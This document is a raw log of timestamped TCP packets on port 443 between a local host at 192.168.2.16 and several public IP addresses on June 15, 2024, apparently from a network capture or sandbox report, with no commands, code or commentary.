Jun 15, 2024 11:15:03.119299889 CEST	443	49831	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.119410038 CEST	443	49831	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.119467974 CEST	49831	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.119992018 CEST	49831	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.119997025 CEST	443	49831	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.174752951 CEST	443	49833	23.212.88.20	192.168.2.16
Jun 15, 2024 11:15:03.175096035 CEST	49833	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:15:03.175133944 CEST	443	49833	23.212.88.20	192.168.2.16
Jun 15, 2024 11:15:03.176251888 CEST	443	49833	23.212.88.20	192.168.2.16
Jun 15, 2024 11:15:03.176561117 CEST	49833	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:15:03.176670074 CEST	49833	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:15:03.176748991 CEST	443	49833	23.212.88.20	192.168.2.16
Jun 15, 2024 11:15:03.221448898 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.221465111 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.221559048 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.221626997 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.221695900 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.222651958 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.222665071 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.222723007 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.222738981 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.222790003 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.227320910 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.227335930 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.227385044 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.227401018 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.227427959 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.227453947 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.228316069 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.228328943 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.228391886 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.228405952 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.228468895 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.229212046 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.229227066 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.229664087 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.229677916 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.229738951 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.230962992 CEST	49833	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:15:03.231250048 CEST	443	49832	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.231302023 CEST	443	49832	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.231344938 CEST	443	49832	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.231364012 CEST	49832	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.231376886 CEST	443	49832	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.231395006 CEST	49832	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.232706070 CEST	49832	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.233151913 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.233165979 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.233230114 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.233244896 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.233299971 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.234304905 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.234321117 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.234380960 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.234395981 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.234452009 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.235709906 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.235723972 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.235785961 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.235800028 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.235857964 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.237618923 CEST	443	49832	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.237660885 CEST	443	49832	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.237689018 CEST	49832	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.237694025 CEST	443	49832	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.237716913 CEST	49832	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.237726927 CEST	49832	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.238502026 CEST	443	49832	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.238564968 CEST	49832	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.284404993 CEST	443	49834	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.284776926 CEST	49834	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.284813881 CEST	443	49834	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.285140991 CEST	443	49834	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.285526991 CEST	49834	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.285598993 CEST	443	49834	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.285686016 CEST	49834	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.332499027 CEST	443	49834	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.338689089 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.338706970 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.338815928 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.338851929 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.338923931 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.339250088 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.339263916 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.339315891 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.339323997 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.339370966 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.343135118 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.343149900 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.343219042 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.343234062 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.343297958 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.343940020 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.343952894 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.344013929 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.344027996 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.344079971 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.344598055 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.344618082 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.344675064 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.344690084 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.344737053 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.345177889 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.345191956 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.345254898 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.345268965 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.345329046 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.345729113 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.345742941 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.345799923 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.345814943 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.345869064 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.346148014 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.346199036 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.346231937 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.346235037 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.346262932 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.346283913 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.346786022 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.346816063 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.352792978 CEST	443	49832	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.352828026 CEST	443	49832	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.352859020 CEST	49832	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.352863073 CEST	443	49832	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.352886915 CEST	49832	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.352916956 CEST	49832	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.353108883 CEST	49832	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.353125095 CEST	443	49832	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.353183031 CEST	443	49824	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.353236914 CEST	443	49824	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.353259087 CEST	443	49824	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.353280067 CEST	443	49824	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.353300095 CEST	49824	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.353327990 CEST	443	49824	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.353353977 CEST	49824	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.353354931 CEST	443	49824	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.353389025 CEST	443	49824	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.353423119 CEST	49824	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.353439093 CEST	443	49824	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.353466988 CEST	49824	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.355542898 CEST	443	49824	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.355593920 CEST	443	49824	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.355628014 CEST	49824	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.355642080 CEST	443	49824	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.355669975 CEST	49824	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.407042027 CEST	49824	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.427566051 CEST	443	49833	23.212.88.20	192.168.2.16
Jun 15, 2024 11:15:03.428014994 CEST	443	49833	23.212.88.20	192.168.2.16
Jun 15, 2024 11:15:03.428164959 CEST	49833	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:15:03.428208113 CEST	49833	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:15:03.428226948 CEST	443	49833	23.212.88.20	192.168.2.16
Jun 15, 2024 11:15:03.443821907 CEST	443	49834	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.444135904 CEST	443	49834	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.444199085 CEST	443	49834	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.444283962 CEST	49834	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.444283962 CEST	49834	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.444360018 CEST	49834	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.444379091 CEST	443	49834	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.462701082 CEST	443	49835	51.89.9.252	192.168.2.16
Jun 15, 2024 11:15:03.463023901 CEST	49835	443	192.168.2.16	51.89.9.252
Jun 15, 2024 11:15:03.463057995 CEST	443	49835	51.89.9.252	192.168.2.16
Jun 15, 2024 11:15:03.463398933 CEST	443	49835	51.89.9.252	192.168.2.16
Jun 15, 2024 11:15:03.463702917 CEST	49835	443	192.168.2.16	51.89.9.252
Jun 15, 2024 11:15:03.463778019 CEST	443	49835	51.89.9.252	192.168.2.16
Jun 15, 2024 11:15:03.463823080 CEST	49835	443	192.168.2.16	51.89.9.252
Jun 15, 2024 11:15:03.469940901 CEST	443	49836	52.51.190.15	192.168.2.16
Jun 15, 2024 11:15:03.470099926 CEST	443	49824	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.470136881 CEST	443	49824	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.470185041 CEST	443	49824	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.470200062 CEST	49824	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.470233917 CEST	49824	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.470254898 CEST	443	49824	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.470284939 CEST	49824	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.470310926 CEST	49824	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.470324993 CEST	443	49824	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.470375061 CEST	49836	443	192.168.2.16	52.51.190.15
Jun 15, 2024 11:15:03.470426083 CEST	443	49836	52.51.190.15	192.168.2.16
Jun 15, 2024 11:15:03.470432997 CEST	443	49824	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.470496893 CEST	49824	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.470745087 CEST	49824	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.470769882 CEST	443	49824	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.470940113 CEST	443	49836	52.51.190.15	192.168.2.16
Jun 15, 2024 11:15:03.472421885 CEST	49836	443	192.168.2.16	52.51.190.15
Jun 15, 2024 11:15:03.472527027 CEST	49836	443	192.168.2.16	52.51.190.15
Jun 15, 2024 11:15:03.472558975 CEST	443	49836	52.51.190.15	192.168.2.16
Jun 15, 2024 11:15:03.472594976 CEST	443	49836	52.51.190.15	192.168.2.16
Jun 15, 2024 11:15:03.508579016 CEST	443	49835	51.89.9.252	192.168.2.16
Jun 15, 2024 11:15:03.517957926 CEST	49835	443	192.168.2.16	51.89.9.252
Jun 15, 2024 11:15:03.518059969 CEST	49836	443	192.168.2.16	52.51.190.15
Jun 15, 2024 11:15:03.535911083 CEST	49845	443	192.168.2.16	46.243.182.89
Jun 15, 2024 11:15:03.535974026 CEST	443	49845	46.243.182.89	192.168.2.16
Jun 15, 2024 11:15:03.536036968 CEST	49845	443	192.168.2.16	46.243.182.89
Jun 15, 2024 11:15:03.536278009 CEST	49845	443	192.168.2.16	46.243.182.89
Jun 15, 2024 11:15:03.536288977 CEST	443	49845	46.243.182.89	192.168.2.16
Jun 15, 2024 11:15:03.545870066 CEST	443	49837	88.212.201.198	192.168.2.16
Jun 15, 2024 11:15:03.546113014 CEST	49837	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:15:03.546149015 CEST	443	49837	88.212.201.198	192.168.2.16
Jun 15, 2024 11:15:03.547275066 CEST	443	49837	88.212.201.198	192.168.2.16
Jun 15, 2024 11:15:03.547621012 CEST	49837	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:15:03.547753096 CEST	49837	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:15:03.547768116 CEST	443	49837	88.212.201.198	192.168.2.16
Jun 15, 2024 11:15:03.547801018 CEST	443	49837	88.212.201.198	192.168.2.16
Jun 15, 2024 11:15:03.551000118 CEST	443	49841	15.197.193.217	192.168.2.16
Jun 15, 2024 11:15:03.551268101 CEST	49841	443	192.168.2.16	15.197.193.217
Jun 15, 2024 11:15:03.551282883 CEST	443	49841	15.197.193.217	192.168.2.16
Jun 15, 2024 11:15:03.552427053 CEST	443	49841	15.197.193.217	192.168.2.16
Jun 15, 2024 11:15:03.552772045 CEST	49841	443	192.168.2.16	15.197.193.217
Jun 15, 2024 11:15:03.552946091 CEST	49841	443	192.168.2.16	15.197.193.217
Jun 15, 2024 11:15:03.552947044 CEST	443	49841	15.197.193.217	192.168.2.16
Jun 15, 2024 11:15:03.557563066 CEST	443	49839	185.89.210.244	192.168.2.16
Jun 15, 2024 11:15:03.557760954 CEST	49839	443	192.168.2.16	185.89.210.244
Jun 15, 2024 11:15:03.557768106 CEST	443	49839	185.89.210.244	192.168.2.16
Jun 15, 2024 11:15:03.558235884 CEST	443	49839	185.89.210.244	192.168.2.16
Jun 15, 2024 11:15:03.558672905 CEST	49839	443	192.168.2.16	185.89.210.244
Jun 15, 2024 11:15:03.558748960 CEST	443	49839	185.89.210.244	192.168.2.16
Jun 15, 2024 11:15:03.558834076 CEST	49839	443	192.168.2.16	185.89.210.244
Jun 15, 2024 11:15:03.563457012 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.563673973 CEST	49843	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.563744068 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.564124107 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.564408064 CEST	49843	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.564507961 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.564526081 CEST	49843	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.569870949 CEST	443	49840	145.239.192.166	192.168.2.16
Jun 15, 2024 11:15:03.570149899 CEST	49840	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:15:03.570197105 CEST	443	49840	145.239.192.166	192.168.2.16
Jun 15, 2024 11:15:03.570576906 CEST	443	49840	145.239.192.166	192.168.2.16
Jun 15, 2024 11:15:03.570883036 CEST	49840	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:15:03.570959091 CEST	443	49840	145.239.192.166	192.168.2.16
Jun 15, 2024 11:15:03.570988894 CEST	49840	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:15:03.596522093 CEST	443	49841	15.197.193.217	192.168.2.16
Jun 15, 2024 11:15:03.597951889 CEST	49841	443	192.168.2.16	15.197.193.217
Jun 15, 2024 11:15:03.598067999 CEST	49837	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:15:03.600514889 CEST	443	49839	185.89.210.244	192.168.2.16
Jun 15, 2024 11:15:03.608527899 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.612519979 CEST	443	49840	145.239.192.166	192.168.2.16
Jun 15, 2024 11:15:03.613960981 CEST	49840	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:15:03.614041090 CEST	49843	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.666182041 CEST	443	49842	91.228.74.244	192.168.2.16
Jun 15, 2024 11:15:03.666497946 CEST	49842	443	192.168.2.16	91.228.74.244
Jun 15, 2024 11:15:03.666527987 CEST	443	49842	91.228.74.244	192.168.2.16
Jun 15, 2024 11:15:03.667227030 CEST	443	49842	91.228.74.244	192.168.2.16
Jun 15, 2024 11:15:03.667687893 CEST	49842	443	192.168.2.16	91.228.74.244
Jun 15, 2024 11:15:03.667778015 CEST	443	49842	91.228.74.244	192.168.2.16
Jun 15, 2024 11:15:03.667886019 CEST	49842	443	192.168.2.16	91.228.74.244
Jun 15, 2024 11:15:03.706403017 CEST	443	49835	51.89.9.252	192.168.2.16
Jun 15, 2024 11:15:03.706470966 CEST	443	49835	51.89.9.252	192.168.2.16
Jun 15, 2024 11:15:03.706517935 CEST	49835	443	192.168.2.16	51.89.9.252
Jun 15, 2024 11:15:03.706536055 CEST	443	49835	51.89.9.252	192.168.2.16
Jun 15, 2024 11:15:03.706588030 CEST	49835	443	192.168.2.16	51.89.9.252
Jun 15, 2024 11:15:03.707389116 CEST	49835	443	192.168.2.16	51.89.9.252
Jun 15, 2024 11:15:03.707434893 CEST	443	49835	51.89.9.252	192.168.2.16
Jun 15, 2024 11:15:03.708517075 CEST	443	49842	91.228.74.244	192.168.2.16
Jun 15, 2024 11:15:03.709784031 CEST	443	49841	15.197.193.217	192.168.2.16
Jun 15, 2024 11:15:03.709969997 CEST	443	49841	15.197.193.217	192.168.2.16
Jun 15, 2024 11:15:03.710025072 CEST	49841	443	192.168.2.16	15.197.193.217
Jun 15, 2024 11:15:03.714250088 CEST	49841	443	192.168.2.16	15.197.193.217
Jun 15, 2024 11:15:03.714270115 CEST	443	49841	15.197.193.217	192.168.2.16
Jun 15, 2024 11:15:03.714785099 CEST	443	49836	52.51.190.15	192.168.2.16
Jun 15, 2024 11:15:03.714874983 CEST	443	49836	52.51.190.15	192.168.2.16
Jun 15, 2024 11:15:03.714941978 CEST	49836	443	192.168.2.16	52.51.190.15
Jun 15, 2024 11:15:03.715157986 CEST	49836	443	192.168.2.16	52.51.190.15
Jun 15, 2024 11:15:03.715198040 CEST	443	49836	52.51.190.15	192.168.2.16
Jun 15, 2024 11:15:03.757864952 CEST	443	49838	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:03.758202076 CEST	49838	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:03.758227110 CEST	443	49838	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:03.758670092 CEST	443	49838	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:03.759037018 CEST	49838	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:03.759104967 CEST	443	49838	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:03.759170055 CEST	49838	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:03.804503918 CEST	443	49838	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:03.810902119 CEST	443	49840	145.239.192.166	192.168.2.16
Jun 15, 2024 11:15:03.811003923 CEST	443	49840	145.239.192.166	192.168.2.16
Jun 15, 2024 11:15:03.811063051 CEST	49840	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:15:03.814388990 CEST	49840	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:15:03.814435005 CEST	443	49840	145.239.192.166	192.168.2.16
Jun 15, 2024 11:15:03.818955898 CEST	443	49837	88.212.201.198	192.168.2.16
Jun 15, 2024 11:15:03.819158077 CEST	443	49837	88.212.201.198	192.168.2.16
Jun 15, 2024 11:15:03.819200993 CEST	49837	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:15:03.820743084 CEST	49837	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:15:03.820777893 CEST	443	49837	88.212.201.198	192.168.2.16
Jun 15, 2024 11:15:03.824582100 CEST	49846	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:15:03.824656963 CEST	443	49846	88.212.201.198	192.168.2.16
Jun 15, 2024 11:15:03.824743986 CEST	49846	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:15:03.825161934 CEST	49846	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:15:03.825241089 CEST	443	49846	88.212.201.198	192.168.2.16
Jun 15, 2024 11:15:03.832643032 CEST	443	49839	185.89.210.244	192.168.2.16
Jun 15, 2024 11:15:03.832731962 CEST	443	49839	185.89.210.244	192.168.2.16
Jun 15, 2024 11:15:03.832777023 CEST	49839	443	192.168.2.16	185.89.210.244
Jun 15, 2024 11:15:03.833424091 CEST	49839	443	192.168.2.16	185.89.210.244
Jun 15, 2024 11:15:03.833440065 CEST	443	49839	185.89.210.244	192.168.2.16
Jun 15, 2024 11:15:03.834834099 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.834852934 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.834860086 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.834872961 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.834918976 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.834950924 CEST	49843	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.834952116 CEST	49843	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.834979057 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.835011959 CEST	49843	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.835037947 CEST	49843	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.835253954 CEST	49847	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:03.835282087 CEST	443	49847	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:03.835339069 CEST	49847	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:03.835660934 CEST	49847	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:03.835675955 CEST	443	49847	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:03.836812973 CEST	49848	443	192.168.2.16	185.89.210.212
Jun 15, 2024 11:15:03.836886883 CEST	443	49848	185.89.210.212	192.168.2.16
Jun 15, 2024 11:15:03.836961985 CEST	49848	443	192.168.2.16	185.89.210.212
Jun 15, 2024 11:15:03.837218046 CEST	49848	443	192.168.2.16	185.89.210.212
Jun 15, 2024 11:15:03.837246895 CEST	443	49848	185.89.210.212	192.168.2.16
Jun 15, 2024 11:15:03.842478037 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.842495918 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.842552900 CEST	49843	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.842577934 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.851511955 CEST	49849	443	192.168.2.16	162.19.138.117
Jun 15, 2024 11:15:03.851545095 CEST	443	49849	162.19.138.117	192.168.2.16
Jun 15, 2024 11:15:03.851603985 CEST	49849	443	192.168.2.16	162.19.138.117
Jun 15, 2024 11:15:03.851690054 CEST	49792	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:03.851937056 CEST	49849	443	192.168.2.16	162.19.138.117
Jun 15, 2024 11:15:03.851949930 CEST	443	49849	162.19.138.117	192.168.2.16
Jun 15, 2024 11:15:03.886064053 CEST	49843	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.896497965 CEST	443	49792	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:03.929765940 CEST	443	49842	91.228.74.244	192.168.2.16
Jun 15, 2024 11:15:03.929858923 CEST	443	49842	91.228.74.244	192.168.2.16
Jun 15, 2024 11:15:03.930136919 CEST	49842	443	192.168.2.16	91.228.74.244
Jun 15, 2024 11:15:03.930326939 CEST	49842	443	192.168.2.16	91.228.74.244
Jun 15, 2024 11:15:03.930351019 CEST	443	49842	91.228.74.244	192.168.2.16
Jun 15, 2024 11:15:03.934601068 CEST	49850	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:15:03.934652090 CEST	443	49850	91.228.74.159	192.168.2.16
Jun 15, 2024 11:15:03.934725046 CEST	49850	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:15:03.935004950 CEST	49850	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:15:03.935024977 CEST	443	49850	91.228.74.159	192.168.2.16
